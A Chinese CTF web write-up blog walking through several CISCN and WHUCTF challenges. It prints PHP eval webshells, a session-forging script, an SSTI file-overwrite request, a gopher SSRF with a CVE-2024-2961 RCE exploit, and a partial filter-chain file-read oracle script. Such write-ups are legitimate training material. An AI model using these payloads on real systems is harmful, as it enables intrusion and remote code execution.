2026.4.1 2023ciscn unzip

点开发现有文件上传,随便上传一点发现跳转到了源码界面。

1
2
3
4
5
6
7
8
9
10
<?php
error_reporting(0);
highlight_file(__FILE__);

$finfo = finfo_open(FILEINFO_MIME_TYPE);
if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){
exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);
};

//only this!

可以发现就是很简单的一个操作,检查文件是否为zip然后解压到/tmp目录。没有任何过滤,可以轻松上传木马,但是问题在于我们访问不了/tmp目录,没法接触到木马文件。

这里主要考察的知识点是软连接

软连接是linux中一个常用命令, 它的功能是为某一个文件在另外一个位置建立一个同步的链接。软连接类似与c语言中的指针,传递的是文件的地址; 更形象一些,软连接类似于WINDOWS系统中的快捷方式。 例如,在a文件夹下存在一个文件hello,如果在b文件夹下也需要访问hello文件,那么一个做法就是把hello复制到b文件夹下,另一个做法就是在b文件夹下建立hello的软连接。通过软连接,就不需要复制文件了,相当于文件只有一份,但在两个文件夹下都可以访问。

所以思路大致就是先上传一个link建立软链接,然后再上传shell。

1
2
3
4
5
6
7
8
ln -s /var/www/html test //创建软连接
zip -ymlinks 1.zip test //压缩获得1.zip
rm test //删除,不然创建不了目录
mkdir test
cd test
echo '<?=system($_POST[1])?>' >> shell.php
cd ../
zip -r test.zip ./ //创建木马压缩包

然后上传1.zip和test.zip

访问shell.php,成功rce

cat /flag即可

2026.4.2 2023ciscn go_session

有附件,是白盒。

main.go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package main

import (
"github.com/gin-gonic/gin"
"main/route"
)

func main() {
// 初始化 Gin 默认引擎(包含日志与恢复中间件)
r := gin.Default()
// 首页路由:初始化访客会话
r.GET("/", route.Index)
// 管理路由:仅允许 session 中 name=admin 访问
r.GET("/admin", route.Admin)
// 内部转发路由:访问本地 Flask 服务
r.GET("/flask", route.Flask)
// 监听 80 端口,对所有网卡开放
r.Run("0.0.0.0:80")
}

route.go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
package route

import (
"github.com/flosch/pongo2/v6"
"github.com/gin-gonic/gin"
"github.com/gorilla/sessions"
"html"
"io"
"net/http"
"os"
)

var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))

// Index 初始化会话,并为首次访问者设置默认身份 guest。
func Index(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] == nil {
session.Values["name"] = "guest"
err = session.Save(c.Request, c.Writer)
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
}

c.String(200, "Hello, guest")
}

// Admin 仅允许 session 中 name=admin 的用户访问。
// 该处理器仍然把用户输入动态拼接到模板字符串中。
func Admin(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] != "admin" {
http.Error(c.Writer, "N0", http.StatusInternalServerError)
return
}
name := c.DefaultQuery("name", "ssti")
xssWaf := html.EscapeString(name)
tpl, err := pongo2.FromString("Hello " + xssWaf + "!")
if err != nil {
// 请求路径中直接 panic 可能造成不必要的服务中断。
panic(err)
}
out, err := tpl.Execute(pongo2.Context{"c": c})
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
c.String(200, out)
}

// Flask 将用户可控的路径片段转发到本地 Flask 服务。
func Flask(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] == nil {
if err != nil {
http.Error(c.Writer, "N0", http.StatusInternalServerError)
return
}
}
// name 未做白名单限制,可能被用于探测 127.0.0.1:5000 的内部路径。
resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest"))
if err != nil {
// 错误被直接吞掉,调用方拿不到明确失败信息。
return
}
defer resp.Body.Close()
body, _ := io.ReadAll(resp.Body)

c.String(200, string(body))
}

结合题目名字,猜测session_sey为空字符,伪造admin session,脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package main

import (
"fmt"
"github.com/gorilla/securecookie"
)

func main() {
sc := securecookie.New([]byte(""), nil)
v := map[interface{}]interface{}{"name": "admin"}
s, err := sc.Encode("session-name", v)
if err != nil {
panic(err)
}
fmt.Println(s)
}

得到session**session-name**=**MTc3NTE5ODYzN3xEWDhFQVFMX2dBQUJFQUVRQUFBal80QUFBUVp6ZEhKcGJtY01CZ0FFYm1GdFpRWnpkSEpwYm1jTUJ3QUZZV1J0YVc0PXw0U7MhQ-CA1QNWSUq8iW5B6_XvqdsNNXtW926qyh6osA**==

然后访问/admin,提示ssti。

访问/flask?name,得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
<!doctype html>
<html lang=en>
<head>
<title>werkzeug.exceptions.BadRequestKeyError: 400 Bad Request: The browser (or proxy) sent a request that this server could not understand.
KeyError: 'name'
// Werkzeug Debugger</title>
<link rel="stylesheet" href="?__debugger__=yes&amp;cmd=resource&amp;f=style.css">
<link rel="shortcut icon"
href="?__debugger__=yes&amp;cmd=resource&amp;f=console.png">
<script src="?__debugger__=yes&amp;cmd=resource&amp;f=debugger.js"></script>
<script>
var CONSOLE_MODE = false,
EVALEX = true,
EVALEX_TRUSTED = false,
SECRET = "3IRC8NQNfmRRIwy4qHJg";
</script>
</head>
<body style="background-color: #fff">
<div class="debugger">
<h1>BadRequestKeyError</h1>
<div class="detail">
<p class="errormsg">werkzeug.exceptions.BadRequestKeyError: 400 Bad Request: The browser (or proxy) sent a request that this server could not understand.
KeyError: &#39;name&#39;
</p>
</div>
<h2 class="traceback">Traceback <em>(most recent call last)</em></h2>
<div class="traceback">
<h3></h3>
<ul><li><div class="frame" id="frame-140141112539728">
<h4>File <cite class="filename">"/usr/local/lib/python3.9/dist-packages/flask/app.py"</cite>,
line <em class="line">2213</em>,
in <code class="function">__call__</code></h4>
<div class="source library"><pre class="line before"><span class="ws"> </span>def __call__(self, environ: dict, start_response: t.Callable) -&gt; t.Any:</pre>
<pre class="line before"><span class="ws"> </span>&#34;&#34;&#34;The WSGI server calls the Flask application object as the</pre>
<pre class="line before"><span class="ws"> </span>WSGI application. This calls :meth:`wsgi_app`, which can be</pre>
<pre class="line before"><span class="ws"> </span>wrapped to apply middleware.</pre>
<pre class="line before"><span class="ws"> </span>&#34;&#34;&#34;</pre>
<pre class="line current"><span class="ws"> </span>return self.wsgi_app(environ, start_response)</pre></div>
</div>

<li><div class="frame" id="frame-140141112540064">
<h4>File <cite class="filename">"/usr/local/lib/python3.9/dist-packages/flask/app.py"</cite>,
line <em class="line">2193</em>,
in <code class="function">wsgi_app</code></h4>
<div class="source library"><pre class="line before"><span class="ws"> </span>try:</pre>
<pre class="line before"><span class="ws"> </span>ctx.push()</pre>
<pre class="line before"><span class="ws"> </span>response = self.full_dispatch_request()</pre>
<pre class="line before"><span class="ws"> </span>except Exception as e:</pre>
<pre class="line before"><span class="ws"> </span>error = e</pre>
<pre class="line current"><span class="ws"> </span>response = self.handle_exception(e)</pre>
<pre class="line after"><span class="ws"> </span>except: # noqa: B001</pre>
<pre class="line after"><span class="ws"> </span>error = sys.exc_info()[1]</pre>
<pre class="line after"><span class="ws"> </span>raise</pre>
<pre class="line after"><span class="ws"> </span>return response(environ, start_response)</pre>
<pre class="line after"><span class="ws"> </span>finally:</pre></div>
</div>

<li><div class="frame" id="frame-140141112539952">
<h4>File <cite class="filename">"/usr/local/lib/python3.9/dist-packages/flask/app.py"</cite>,
line <em class="line">2190</em>,
in <code class="function">wsgi_app</code></h4>
<div class="source library"><pre class="line before"><span class="ws"> </span>ctx = self.request_context(environ)</pre>
<pre class="line before"><span class="ws"> </span>error: BaseException | None = None</pre>
<pre class="line before"><span class="ws"> </span>try:</pre>
<pre class="line before"><span class="ws"> </span>try:</pre>
<pre class="line before"><span class="ws"> </span>ctx.push()</pre>
<pre class="line current"><span class="ws"> </span>response = self.full_dispatch_request()</pre>
<pre class="line after"><span class="ws"> </span>except Exception as e:</pre>
<pre class="line after"><span class="ws"> </span>error = e</pre>
<pre class="line after"><span class="ws"> </span>response = self.handle_exception(e)</pre>
<pre class="line after"><span class="ws"> </span>except: # noqa: B001</pre>
<pre class="line after"><span class="ws"> </span>error = sys.exc_info()[1]</pre></div>
</div>

<li><div class="frame" id="frame-140141112539616">
<h4>File <cite class="filename">"/usr/local/lib/python3.9/dist-packages/flask/app.py"</cite>,
line <em class="line">1486</em>,
in <code class="function">full_dispatch_request</code></h4>
<div class="source library"><pre class="line before"><span class="ws"> </span>request_started.send(self, _async_wrapper=self.ensure_sync)</pre>
<pre class="line before"><span class="ws"> </span>rv = self.preprocess_request()</pre>
<pre class="line before"><span class="ws"> </span>if rv is None:</pre>
<pre class="line before"><span class="ws"> </span>rv = self.dispatch_request()</pre>
<pre class="line before"><span class="ws"> </span>except Exception as e:</pre>
<pre class="line current"><span class="ws"> </span>rv = self.handle_user_exception(e)</pre>
<pre class="line after"><span class="ws"> </span>return self.finalize_request(rv)</pre>
<pre class="line after"><span class="ws"></span> </pre>
<pre class="line after"><span class="ws"> </span>def finalize_request(</pre>
<pre class="line after"><span class="ws"> </span>self,</pre>
<pre class="line after"><span class="ws"> </span>rv: ft.ResponseReturnValue | HTTPException,</pre></div>
</div>

<li><div class="frame" id="frame-140141112539504">
<h4>File <cite class="filename">"/usr/local/lib/python3.9/dist-packages/flask/app.py"</cite>,
line <em class="line">1484</em>,
in <code class="function">full_dispatch_request</code></h4>
<div class="source library"><pre class="line before"><span class="ws"></span> </pre>
<pre class="line before"><span class="ws"> </span>try:</pre>
<pre class="line before"><span class="ws"> </span>request_started.send(self, _async_wrapper=self.ensure_sync)</pre>
<pre class="line before"><span class="ws"> </span>rv = self.preprocess_request()</pre>
<pre class="line before"><span class="ws"> </span>if rv is None:</pre>
<pre class="line current"><span class="ws"> </span>rv = self.dispatch_request()</pre>
<pre class="line after"><span class="ws"> </span>except Exception as e:</pre>
<pre class="line after"><span class="ws"> </span>rv = self.handle_user_exception(e)</pre>
<pre class="line after"><span class="ws"> </span>return self.finalize_request(rv)</pre>
<pre class="line after"><span class="ws"></span> </pre>
<pre class="line after"><span class="ws"> </span>def finalize_request(</pre></div>
</div>

<li><div class="frame" id="frame-140141112540176">
<h4>File <cite class="filename">"/usr/local/lib/python3.9/dist-packages/flask/app.py"</cite>,
line <em class="line">1469</em>,
in <code class="function">dispatch_request</code></h4>
<div class="source library"><pre class="line before"><span class="ws"> </span>and req.method == &#34;OPTIONS&#34;</pre>
<pre class="line before"><span class="ws"> </span>):</pre>
<pre class="line before"><span class="ws"> </span>return self.make_default_options_response()</pre>
<pre class="line before"><span class="ws"> </span># otherwise dispatch to the handler for that endpoint</pre>
<pre class="line before"><span class="ws"> </span>view_args: dict[str, t.Any] = req.view_args # type: ignore[assignment]</pre>
<pre class="line current"><span class="ws"> </span>return self.ensure_sync(self.view_functions[rule.endpoint])(**view_args)</pre>
<pre class="line after"><span class="ws"></span> </pre>
<pre class="line after"><span class="ws"> </span>def full_dispatch_request(self) -&gt; Response:</pre>
<pre class="line after"><span class="ws"> </span>&#34;&#34;&#34;Dispatches the request and on top of that performs request</pre>
<pre class="line after"><span class="ws"> </span>pre and postprocessing as well as HTTP exception catching and</pre>
<pre class="line after"><span class="ws"> </span>error handling.</pre></div>
</div>

<li><div class="frame" id="frame-140141112540288">
<h4>File <cite class="filename">"/app/server.py"</cite>,
line <em class="line">7</em>,
in <code class="function">index</code></h4>
<div class="source "><pre class="line before"><span class="ws"></span> </pre>
<pre class="line before"><span class="ws"></span>app = Flask(__name__)</pre>
<pre class="line before"><span class="ws"></span> </pre>
<pre class="line before"><span class="ws"></span>@app.route(&#39;/&#39;)</pre>
<pre class="line before"><span class="ws"></span>def index():</pre>
<pre class="line current"><span class="ws"> </span>name = request.args[&#39;name&#39;]</pre>
<pre class="line after"><span class="ws"> </span>return name + &#34; no ssti&#34;</pre>
<pre class="line after"><span class="ws"></span> </pre>
<pre class="line after"><span class="ws"></span> </pre>
<pre class="line after"><span class="ws"></span>if __name__ == &#34;__main__&#34;:</pre>
<pre class="line after"><span class="ws"> </span>app.run(host=&#34;127.0.0.1&#34;, port=5000, debug=True)</pre></div>
</div>

<li><div class="frame" id="frame-140141112540400">
<h4>File <cite class="filename">"/usr/local/lib/python3.9/dist-packages/werkzeug/datastructures/structures.py"</cite>,
line <em class="line">192</em>,
in <code class="function">__getitem__</code></h4>
<div class="source library"><pre class="line before"><span class="ws"></span> </pre>
<pre class="line before"><span class="ws"> </span>if key in self:</pre>
<pre class="line before"><span class="ws"> </span>lst = dict.__getitem__(self, key)</pre>
<pre class="line before"><span class="ws"> </span>if len(lst) &gt; 0:</pre>
<pre class="line before"><span class="ws"> </span>return lst[0]</pre>
<pre class="line current"><span class="ws"> </span>raise exceptions.BadRequestKeyError(key)</pre>
<pre class="line after"><span class="ws"></span> </pre>
<pre class="line after"><span class="ws"> </span>def __setitem__(self, key, value):</pre>
<pre class="line after"><span class="ws"> </span>&#34;&#34;&#34;Like :meth:`add` but removes an existing key first.</pre>
<pre class="line after"><span class="ws"></span> </pre>
<pre class="line after"><span class="ws"> </span>:param key: the key for the value.</pre></div>
</div>
</ul>
<blockquote>werkzeug.exceptions.BadRequestKeyError: 400 Bad Request: The browser (or proxy) sent a request that this server could not understand.
KeyError: &#39;name&#39;
</blockquote>
</div>

<div class="plain">
<p>
This is the Copy/Paste friendly version of the traceback.
</p>
<textarea cols="50" rows="10" name="code" readonly>Traceback (most recent call last):
File &#34;/usr/local/lib/python3.9/dist-packages/flask/app.py&#34;, line 2213, in __call__
return self.wsgi_app(environ, start_response)
File &#34;/usr/local/lib/python3.9/dist-packages/flask/app.py&#34;, line 2193, in wsgi_app
response = self.handle_exception(e)
File &#34;/usr/local/lib/python3.9/dist-packages/flask/app.py&#34;, line 2190, in wsgi_app
response = self.full_dispatch_request()
File &#34;/usr/local/lib/python3.9/dist-packages/flask/app.py&#34;, line 1486, in full_dispatch_request
rv = self.handle_user_exception(e)
File &#34;/usr/local/lib/python3.9/dist-packages/flask/app.py&#34;, line 1484, in full_dispatch_request
rv = self.dispatch_request()
File &#34;/usr/local/lib/python3.9/dist-packages/flask/app.py&#34;, line 1469, in dispatch_request
return self.ensure_sync(self.view_functions[rule.endpoint])(**view_args)
File &#34;/app/server.py&#34;, line 7, in index
name = request.args[&#39;name&#39;]
File &#34;/usr/local/lib/python3.9/dist-packages/werkzeug/datastructures/structures.py&#34;, line 192, in __getitem__
raise exceptions.BadRequestKeyError(key)
werkzeug.exceptions.BadRequestKeyError: 400 Bad Request: The browser (or proxy) sent a request that this server could not understand.
KeyError: &#39;name&#39;
</textarea>
</div>
<div class="explanation">
The debugger caught an exception in your WSGI application. You can now
look at the traceback which led to the error. <span class="nojavascript">
If you enable JavaScript you can also use additional features such as code
execution (if the evalex feature is enabled), automatic pasting of the
exceptions and much more.</span>
</div>
<div class="footer">
Brought to you by <strong class="arthur">DON'T PANIC</strong>, your
friendly Werkzeug powered traceback interpreter.
</div>
</div>

<div class="pin-prompt">
<div class="inner">
<h3>Console Locked</h3>
<p>
The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server.
<form>
<p>PIN:
<input type=text name=pin size=14>
<input type=submit name=btn value="Confirm Pin">
</form>
</div>
</div>
</body>
</html>

<!--

Traceback (most recent call last):
File "/usr/local/lib/python3.9/dist-packages/flask/app.py", line 2213, in __call__
return self.wsgi_app(environ, start_response)
File "/usr/local/lib/python3.9/dist-packages/flask/app.py", line 2193, in wsgi_app
response = self.handle_exception(e)
File "/usr/local/lib/python3.9/dist-packages/flask/app.py", line 2190, in wsgi_app
response = self.full_dispatch_request()
File "/usr/local/lib/python3.9/dist-packages/flask/app.py", line 1486, in full_dispatch_request
rv = self.handle_user_exception(e)
File "/usr/local/lib/python3.9/dist-packages/flask/app.py", line 1484, in full_dispatch_request
rv = self.dispatch_request()
File "/usr/local/lib/python3.9/dist-packages/flask/app.py", line 1469, in dispatch_request
return self.ensure_sync(self.view_functions[rule.endpoint])(**view_args)
File "/app/server.py", line 7, in index
name = request.args['name']
File "/usr/local/lib/python3.9/dist-packages/werkzeug/datastructures/structures.py", line 192, in __getitem__
raise exceptions.BadRequestKeyError(key)
werkzeug.exceptions.BadRequestKeyError: 400 Bad Request: The browser (or proxy) sent a request that this server could not understand.
KeyError: 'name'


-->
Yak

重点看

1
2
3
4
5
6
7
8
9
10
app = Flask(__name__)

@app.route('/')
def index():
name = request.args['name']
return name + " no ssti"


if __name__ == "__main__":
app.run(host="127.0.0.1", port=5000, debug=True)

发现开启了debug,也就是说允许热加载。ssti,payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
GET /admin?name={{c.SaveUploadedFile(c.FormFile(c.HandlerName()|last),c.Request.Referer())}} HTTP/1.1
Host: 8ceb6398-8070-421c-98cb-4b62ee031fb7.challenge.ctf.show
Referer: /app/server.py
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8ALIn5Z2C3VlBqND
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: session-name=MTc3NTE5ODYzN3xEWDhFQVFMX2dBQUJFQUVRQUFBal80QUFBUVp6ZEhKcGJtY01CZ0FFYm1GdFpRWnpkSEpwYm1jTUJ3QUZZV1J0YVc0PXw0U7MhQ-CA1QNWSUq8iW5B6_XvqdsNNXtW926qyh6osA==
Upgrade-Insecure-Requests: 1
Content-Length: 423

------WebKitFormBoundary8ALIn5Z2C3VlBqND
Content-Disposition: form-data; name="n"; filename="1.py"
Content-Type: text/plain

from flask import *
import os
app = Flask(__name__)

@app.route('/')
def index():
name = request.args['name']
file=os.popen(name).read()
return file

if __name__ == "__main__":
app.run(host="0.0.0.0", port=5000, debug=True)
------WebKitFormBoundary8ALIn5Z2C3VlBqND--

然后访问/flask?name=?name=env即可获得flag

2026.4.3 2024ciscn simple_php

访问,直接得到了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
ini_set('open_basedir', '/var/www/html/');
error_reporting(0);

if(isset($_POST['cmd'])){
$cmd = escapeshellcmd($_POST['cmd']);
if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i', $cmd)) {
system($cmd);
}
}


show_source(__FILE__);
?>

于是可以使用 php -r phpinfo(); 函数来查看 PHP 的配置

可以用php -r来写入恶意代码

1
cmd=php -r system(hex2bin(substr(a6563686f20223c3f70687020406576616c285c245f504f53545b277368656c6c275d293b3f3e22203e206368696e6f2e706870,1)));

其中6563686f20223c3f70687020406576616c285c245f504f53545b277368656c6c275d293b3f3e22203e206368696e6f2e706870

echo "<?php @eval(\$_POST['shell']);?>" > chino.php的16进制。

然后shell=system(‘mysqldump -uroot -proot –all-databases’);

然后查找flag即可。

2026.4.4 WHUCTF2025 迷雾森林

首先扫描目录,发现存在git泄露

查看config.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
//MySQL database host
const DB_HOST = 'localhost';
//Database username
const DB_USER = 'gokuku';
//Database user password
const DB_PASSWD = 'tghs7^4He8&lA#3C';
//Database name
const DB_NAME = 'emlog';
//Database Table Prefix
const DB_PREFIX = 'emlog_';
//Auth key
const AUTH_KEY = 'pL7fDdNIuK*XSWu60Ia8dhL06ZY1qBk)3fa31b52dd6ebc517e5492d43d77e61c';
//Cookie name
const AUTH_COOKIE_NAME = 'EM_AUTHCOOKIE_6CMoTczRXUT1SxhDnJxRZNwd1ubO4rXm';

发现数据库的用户名和password,猜测密码复用,登陆成功。

这里也可以使用Auth_key来构造永真式来进行绕过,参考:VNCTF2025-WEB - EddieMurphy’s blog

网络查询发现emlog存在文件上传漏洞,参考:emlog文件上传漏洞分析(CNVD-2025-04611)-先知社区

创建一个shell文件夹,里面写一个shell.php内容如下:

1
<?=eval($_POST[1])?>

然后压缩,上传。

接着访问/content/plugins/shell/shell.php即可rce。

POST传参1=system(‘cat /flag’);即可获得flag

现在想想这一题也不算难,因为好心的goku直接把用户名和密码给我们了。但是当时没有做出来(

反思下,当时对cms,框架之类的了解的不多,自己在那边读php代码也不知道在干什么(

2026.4.5 WHUCTF2025 冰封峡谷

签到题,依据题目发包即可。

官方exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import socket

host = "125.220.147.47"
port = 49221
path = b"/flag.txt\xa0"

# 创建 TCP 连接
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

request = b"GET " + path + b" HTTP/1.1\r\nHost: " + host.encode() + b"\r\nConnection: close\r\n\r\n"
s.sendall(request)

# 读取响应
response = b""
while True:
data = s.recv(1024)
if not data:
break
response += data

s.close()

# 打印完整响应
print(response.decode(errors="ignore"))

2026.4.6 WHUCTF2025 熔烬裂谷-revenge

dawn.php源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
$file = $_POST['url_image'];
?>
<?php
//reousrce code is in ./picture/dawn.txt
if (!isset($_POST['url_image'])) {
// 获取图片内容
$imageUrl = 'http://i.postimg.cc/CL9rHhBL/60933562efee5a81ddce9b14f055c8b7.jpg';
$imageData = file_get_contents($imageUrl);

if ($imageData === false) {
die('无法加载图片,请检查 URL 是否正确。');
}
// 将图片内容转换为 base64 编码
$base64Image = base64_encode($imageData);
//存入图库
file_put_contents('./picture/image.jpg', $imageData);
?>


<?php
} else if (isset($_POST['url_image'])) {
$imageData = file_get_contents($file);

// 将图片内容转换为 base64 编码
$base64Image = base64_encode($imageData);
//存入图库
file_put_contents('./picture/image.jpg', $imageData);
}

重点为 $imageData = file_get_contents($imageUrl);

存在CVE-2024-2961,详情参考CVE-2024-2961 漏洞分析 - FreeBuf网络安全行业门户

可以将读取文件变成rce

题目预期链基本已经明确:

  1. 利用内部 Go 服务的 /query 发起 SSRF。
  2. 因为允许 gopher://,所以可以伪造原始 HTTP 请求打内网 Apache。
  3. 通过 gopher://127.0.0.1:80 发送 POST /dawn.php
  4. url_image 中传入 php://filter/...,获得稳定的任意文件读。
  5. 继续利用 cnext(glibc iconv 相关链)实现 PHP 进程内 RCE。
  6. RCE 后直接执行 /readflag 读取真实 flag。

官方exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import requests
import urllib
import base64
from cnext.cnext import Exploit
from dataclasses import dataclass

class ExpRemote():
def __init__(self, url: str) -> None:
self.url = url

def send(self, path):
path = urllib.parse.quote(path)
form = \
"""POST /dawn.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: {}

url_image={}
""".format(len(path) + 10, path)
# print(form)
form = urllib.parse.quote(form)
form = form.replace('%0A','%0D%0A')

payload = """gopher://127.0.0.1:80/_{}""".format(form)
return requests.get(url=self.url+'/query',params={"url": payload})

def download(self, path: str) -> bytes:
path = f"php://filter/convert.base64-encode/resource={path}"
res = self.send(path)
data = requests.get(url=self.url+'/query', params={"url": 'http://127.0.0.1/picture/image.jpg'})
res = data.json()['result']
if len(res) % 4 != 0:
res += (4 - (len(res) % 4)) * '='
return base64.b64decode(res.encode())

@dataclass
class CnextExploit(Exploit):
def __post_init__(self):
super().__post_init__()
self.remote = ExpRemote(self.url)

CnextExploit(url="http://125.220.147.47:49509", command="touch /tmp/pwn").run()

2025.4.7 WHUCTF2025 龙之试炼

点进去,发现存在源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
highlight_file(__FILE__);
$file = "web-dog.png"; // 图片路径
//dawn.php
if (!isset($_POST['f'])) {
$info = getimagesize($file);
echo "宽度: " . $info[0] . " 像素<br>";
echo "高度: " . $info[1] . " 像素<br>";
echo "MIME 类型: " . $info['mime'] . "<br>";
} else {
$info = getimagesize($_POST['f']);
}
?>
<html>
<img src="web-dog.png" alt="示例图片">
</html>
宽度: 1297

查看注释dawn.php,访问后显示see me?

要想办法拿到dawn.php源码.

侧信道攻击,参考链接:

[PHP Filter链——基于oracle的文件读取攻击 - “我不是二次元!”](https://m1racle-7.github.io/2024/10/07/PHP Filter链——基于oracle的文件读取攻击/)

(´∇`) 欢迎回来!

通用脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
import requests
import sys
from base64 import b64decode

"""
核心思路:
把 PHP 的内存限制当成一个报错预言机。重复应用 `convert.iconv.L1.UCS-4LE`
会让字符串长度每次膨胀为原来的 4 倍,因此只要输入非空,很快就会触发 500 错误。
于是我们就得到了一个“字符串是否为空”的判定器。

核心思路 2:
`dechunk` 过滤器很关键。
https://github.com/php/php-src/blob/01b3fc03c30c6cb85038250bb5640be3a09c6a32/ext/standard/filters.c#L1724
它原本看起来像是为 HTTP 相关场景实现的,但这里更重要的行为是:
如果字符串中没有换行,那么当且仅当字符串以 `A-Fa-f0-9` 开头时,
它会把整个字符串清空;否则保持原样。
这和上面的报错预言机可以完美配合。比如已知 flag 以 `D` 开头时,下面这条过滤链:

dechunk|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|[...]|convert.iconv.L1.UCS-4LE

就不会触发 500 错误。

剩余任务:
现在我们已经能判断首字符是否属于 `A-Fa-f0-9`。
接下来真正困难的部分是:
- 想办法把不是首位的字符“搬运”到前面
- 更精确地判断当前首位到底是哪一个字符
"""

def join(*x):
return '|'.join(x)

def err(s):
print(s)
raise ValueError

# 唯一修改点
def req(s):
data = {
'0': f'php://filter/{s}/resource=/flag'
}
#return requests.post('http://localhost:5000/index.php', data=data).status_code == 500

url='http://127.0.0.1:8099/?my[secret.flag=C:8:"Saferman":0:{}&secret='+f'php://filter/{s}/resource=/flag'
return requests.get(url=url).status_code == 500

"""
步骤 1:
后面的利用只在两个条件同时满足时才能正常工作:
- 字符串只能包含 `a-zA-Z0-9`
- 字符串末尾必须是两个等号 `==`

对 flag 文件做两次 base64 编码可以满足第一个条件。

但我们并不知道 flag 文件的长度,因此不能保证结果一定以 `==` 结尾。

